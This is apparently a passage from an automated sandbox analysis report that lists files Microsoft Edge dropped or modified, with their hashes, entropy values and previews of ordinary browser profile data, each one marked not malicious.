Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.56612334500234
Encrypted:	false
SSDEEP:	768:umSwcjWnQ7pLGLpDmW5w8mf4XS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPqA7xINCm:u7Jj8ccpDmWa8mfGSu1jaDA7efVEt4
MD5:	16A7DE49FD2FB5E278CCB48F815E5EB2
SHA1:	309ED7369EAF1CF836F2531040C8FC32F14CEC56
SHA-256:	72FC2284C827D94CEF4BC04E8B6DC234363F5E60300A4E9F48B57A7F9297FAB4
SHA-512:	02ABD42E9483D94458F0076FBAD5FB73E8673278170152C431F9882C5D3390BEBBEFE55FE08CC1D645F9EC0C46FA11541A0CCA019BB96B2FD29AB6310A40B244
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375470331302687","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375470331302687","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\71b3e602-fab6-4b1f-9dbc-284ea49f360f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17496), with no line terminators
Category:	dropped
Size (bytes):	17501
Entropy (8bit):	5.472522008629572
Encrypted:	false
SSDEEP:	192:stWJ99QTryDiuabatSuyprsMcSaFvrEO3kjE/lFOgKjRhfyfmaaF8xbV+F0jQwXy:stWPGQSu4rsdSCDfT0rfyfLbGEQwz3O
MD5:	0B90E13570027448485A6CD7DD2579CF
SHA1:	FC505D209D22F478BF8D0807EA39A380A7294A10
SHA-256:	3633F8F71D44357B4730AE52ECDEFAB96D2E562FAA771D91F31ED57625384EB5
SHA-512:	4E429ED233A40FDD807ACD4B00A02EE567837AB8297B28A7DD2C2D405FF2F5AE3A95E84025492BC2447D340188AC0A8D2DCBD2FCE77B7D3881A7C21C275EEA48
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375470331820863","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\83c276e7-cf94-4281-ac93-6747f6328c3d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17331), with no line terminators
Category:	dropped
Size (bytes):	17336
Entropy (8bit):	5.47570142893337
Encrypted:	false
SSDEEP:	192:stWJ99QTryDiuabatSuyprsMcSaFvrEO3kjE/lFOgKjRhfyfmaaF8xbV+F0jQwXR:stWPGQSu4rsdSCDfT0rfyfLbGEQwsO
MD5:	4E5381C08F21ADC506ADD70DB303D820
SHA1:	79B84F52BDA78310051BF5292126293E74EF6E34
SHA-256:	A261E75176FD30A297E0CB9E77BC9BE80FAF76A44509E5D6A2B4CD89ED979B4E
SHA-512:	765862CBBEF8A18CCEB4B0A564087830233A73891076B6D04A26982CB80F7717CE67FAB5D01DD3778688AFFE594FBC8196B4A953B2C7762E4343AAD23889BFC9
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375470331820863","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9a81fef2-383e-415c-9dfc-003303b9e000.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.268996389854336
Encrypted:	false
SSDEEP:	6:H4pMxRM1N723oH+Tcwtp3hBtB2KLlV4pDLNjyq2PN723oH+Tcwtp3hBWsIFUv:YpMXsaYebp3dFLAp9jyvVaYebp3eFUv
MD5:	F55D1E0312D39846A38CA6A01DDE19C1
SHA1:	863BB1FCB5EF803DE4C19F70081D7FCDCC97D296
SHA-256:	9D832000CD4692E3EBE0D26633F5DCACEE62A7A0652293D393094C0E89EBDC09
SHA-512:	73A60C0AA06EDF39BC704B2C6181C332FE093FE14B9BBDF5E171659CD56DA0DCEB42ED4F7189403036AD245AB549864CA884CB3D4002B1C4C7BA9A0EB11D62A3
Malicious:	false
Preview:	2024/11/07-11:25:36.976 f54 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/07-11:25:37.045 f54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222859977209743
Encrypted:	false
SSDEEP:	24576:IbPMZpVVfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVVfx2mjF
MD5:	9D77E8636C644D4ACA2E101CD2BFAB2A
SHA1:	45407D3C6DB9210EDE89C8D7E331977E0402ED8B
SHA-256:	7319763EC9E51AC3C6ACDB2E9AB9C52CB75F9DF53A68BFC9134077C71F367A83
SHA-512:	CC42BB555F6EC79288F8423FF2872948994692A17E5100D8C15CA36EF090B9B1A557023881B52A4A4F6FB1619155DFD272639426EA9025D4C4685D4BCD5BBC95
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.125107373247235
Encrypted:	false
SSDEEP:	6:H4pnAq2PN723oH+Tcwt9Eh1tIFUt8Y4pahZmw+Y4pcbkwON723oH+Tcwt9Eh15LJ:YpnAvVaYeb9Eh16FUt8fpah/+fp+5Oaw
MD5:	C127A07F445B44F8CA1DF91B3EA71C00
SHA1:	E666F675825F541D732E4AA131BCB79BC2839289
SHA-256:	024C7D0634BD6DFE79FC9F5C50BDAD3C441D84C0636C6B7570CD820A565C1054
SHA-512:	55322E83C571BBE8AA4BECB5D4C78B095C7079F4708DECF9BFFA36E6E2E4F0A20309E0673BDE90C330B602CE2935BC8AC3506CAA0CB4CA3B6EA0B1EACBA857D7
Malicious:	false
Preview:	2024/11/07-11:25:36.910 12b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/07-11:25:36.911 12b0 Recovering log #3.2024/11/07-11:25:36.915 12b0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.125107373247235
Encrypted:	false
SSDEEP:	6:H4pnAq2PN723oH+Tcwt9Eh1tIFUt8Y4pahZmw+Y4pcbkwON723oH+Tcwt9Eh15LJ:YpnAvVaYeb9Eh16FUt8fpah/+fp+5Oaw
MD5:	C127A07F445B44F8CA1DF91B3EA71C00
SHA1:	E666F675825F541D732E4AA131BCB79BC2839289
SHA-256:	024C7D0634BD6DFE79FC9F5C50BDAD3C441D84C0636C6B7570CD820A565C1054
SHA-512:	55322E83C571BBE8AA4BECB5D4C78B095C7079F4708DECF9BFFA36E6E2E4F0A20309E0673BDE90C330B602CE2935BC8AC3506CAA0CB4CA3B6EA0B1EACBA857D7
Malicious:	false
Preview:	2024/11/07-11:25:36.910 12b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/07-11:25:36.911 12b0 Recovering log #3.2024/11/07-11:25:36.915 12b0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46327239696406375
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuG8:TouQq3qh7z3bY2LNW9WMcUvBu7
MD5:	F5856BF1E847EA8F30FC0AC83D43A559
SHA1:	D9F6E7047E0F7DB89AEE7CDD702004C01A922E92
SHA-256:	C0993791EB624AFB6C5002B13B5D6C7D70B48421DD1DFC1EA495259AEED14341
SHA-512:	A45D33864EF4C8A4E8BB83F1BE6A61EEAD1EB933DE86BBA4C46B95740226B13EAD29F3535B8E57FA5C2F1EB2E1F05CDE6D7B4B426804E3BCE7360FA85836BAFB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.181541826218436
Encrypted:	false
SSDEEP:	6:H4pFLVOq2PN723oH+TcwtnG2tMsIFUt8Y4pFLsnZZmw+Y4pFLsnzkwON723oH+TR:YpFLVOvVaYebn9GFUt8fpFLa/+fpFLm7
MD5:	ABA8D6FE1CEC604B8DC0F4D017808A54
SHA1:	9FF133FA68ABDDA6FA2EA7FABE29C2AFE3326116
SHA-256:	7F9B466F02DE4DAFBB04B3D7E4417691FD55092053060F310A2D2CBFB5E339EF
SHA-512:	D3AF97FFF96CA90AD9E1ACEBEB58FB2E4F77D6307F934B348373D74209141E32712644511F08DAF538488441C92418BC95FBD261BD66D2A27B72718434322BB6
Malicious:	false
Preview:	2024/11/07-11:25:31.350 17b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/07-11:25:31.351 17b4 Recovering log #3.2024/11/07-11:25:31.351 17b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.181541826218436
Encrypted:	false
SSDEEP:	6:H4pFLVOq2PN723oH+TcwtnG2tMsIFUt8Y4pFLsnZZmw+Y4pFLsnzkwON723oH+TR:YpFLVOvVaYebn9GFUt8fpFLa/+fpFLm7
MD5:	ABA8D6FE1CEC604B8DC0F4D017808A54
SHA1:	9FF133FA68ABDDA6FA2EA7FABE29C2AFE3326116
SHA-256:	7F9B466F02DE4DAFBB04B3D7E4417691FD55092053060F310A2D2CBFB5E339EF
SHA-512:	D3AF97FFF96CA90AD9E1ACEBEB58FB2E4F77D6307F934B348373D74209141E32712644511F08DAF538488441C92418BC95FBD261BD66D2A27B72718434322BB6
Malicious:	false
Preview:	2024/11/07-11:25:31.350 17b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/07-11:25:31.351 17b4 Recovering log #3.2024/11/07-11:25:31.351 17b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6124746378231106
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jILTlphLqmL:TO8D4jJ/6Up+QTtP
MD5:	61A766E4EC8B884389512DE02DA21CBB
SHA1:	37606C14AF9DFD1AEDC5F6177FBDDF37A8E4A553
SHA-256:	B3F099EE3D7C88A32BD1F38940C032ACD4C69DBA1107A22767B20CE33904ECA4
SHA-512:	6FE66335F1548CE0D208171AB9142E00437F38432D79DEA798801F370F2ED63A23F7D28838149AEB063476B5CE6DD94A0792670B3FB1A2A10544DD4804D10208
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354126432083789
Encrypted:	false
SSDEEP:	6144:tA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:tFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	5C927BD6E74E58B41B6A7BF2E47FDACA
SHA1:	DCD9D8AEDBDD4DBFA2E22DC117BA53298C4E2C8C
SHA-256:	8BACAF95F6DCCB4D730C85FDBFD67C536F78D66A2C20C0E5306733F7D3516807
SHA-512:	A4CB46B41272023D477A3307D11958EE68B793AA70407BE12A69755AA07B7336B218BA6AA1EB8F0EC74997DA1E90584DE9468DE9916FF1E89755C1BB1F7B871B
Malicious:	false
Preview:	...m.................DB_VERSION.1g...q...............&QUERY_TIMESTAMP:domains_config_gz2...13375470338129258..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.175598709254595
Encrypted:	false
SSDEEP:	6:H4pTM1N723oH+Tcwtk2WwnvB2KLlV4pGyVq2PN723oH+Tcwtk2WwnvIFUv:YpTsaYebkxwnvFLApGuvVaYebkxwnQF2
MD5:	434615BF089BBFE365B3ADE9B1926531
SHA1:	6FA58DE781F178D4499CF6BEFCAFA119AEED2CA0
SHA-256:	2DB0A8FA9BF811A1176FA34ED07E14A3985B168DA5E715E84A6D5415CF56E45D
SHA-512:	576CE723B451A2BA4D23B4C08FECD64F5B1A27CA948DE3CA033A5193B7E9602E477CD31F109BBA170FF663F7826E4FDC1F57B680BB38C4F4E13484FFF3047012
Malicious:	false
Preview:	2024/11/07-11:25:36.930 1494 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/07-11:25:36.950 1494 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.3246144647454745
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R4:C1gAg1zfvw
MD5:	158EA854CE728FEB9ADA43A5FE0BF478
SHA1:	F73CBB259301E26732253551347B9E5C9F6BB528
SHA-256:	54F53AB1B8ACDE1986A2A9B78E1F3B1984F0A02411997F7A4C7418C77EEC8510
SHA-512:	A769CCDB50BF4AF52408D0DBEC1E97BA8FE3C2352877A29677CACCE40D142B4900769F1701D63F7992FBAF5F597845CCB4FA719C70EB87D0AD8EC024629A4172
Malicious:	false
